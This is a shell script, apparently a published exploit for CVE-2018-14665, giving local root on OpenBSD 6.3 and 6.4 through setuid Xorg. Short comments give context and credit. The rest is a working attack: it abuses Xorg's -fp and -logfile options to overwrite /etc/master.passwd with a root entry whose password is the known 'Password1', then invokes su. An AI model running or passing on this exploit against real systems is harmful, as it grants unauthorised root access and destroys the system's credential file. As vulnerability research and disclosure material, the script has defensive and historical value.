#!/bin/sh # local privilege escalation in X11 currently # unpatched in OpenBSD 6.4 stable - exploit # uses cve-2018-14665 to overwrite files as root. # Impacts Xorg 1.19.0 - 1.20.2 which ships setuid # and vulnerable in default OpenBSD. Errata: was # unpatched 0day for a day on release by Xorg for # OpenBSD systems - patched 26-10-2018. # # Credit for cve-2018-14665 goes to Narendra Shinde. # Theo explains why this flaw made it into OpenBSD # stable releases (tested 6.3 & 6.4) as 0day himself # here: # # https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2 # # "That is the first localhost root hole in quite a # long time." - Theo de Raadt 25/10/18 # # This exploit works on OpenBSD 6.3 and 6.4, ymmv. # requires the ability to run "su" and a local # account. Run this exploit once and it will backup # the original passwd file to /etc/master.passwd.old # # - https://hacker.house echo [+] OpenBSD 6.4-stable local root exploit cd /etc Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 & sleep 5 pkill Xorg echo [-] dont forget to mv and chmod /etc/master.passwd.old back echo [+] type 'Password1' and hit enter for root su -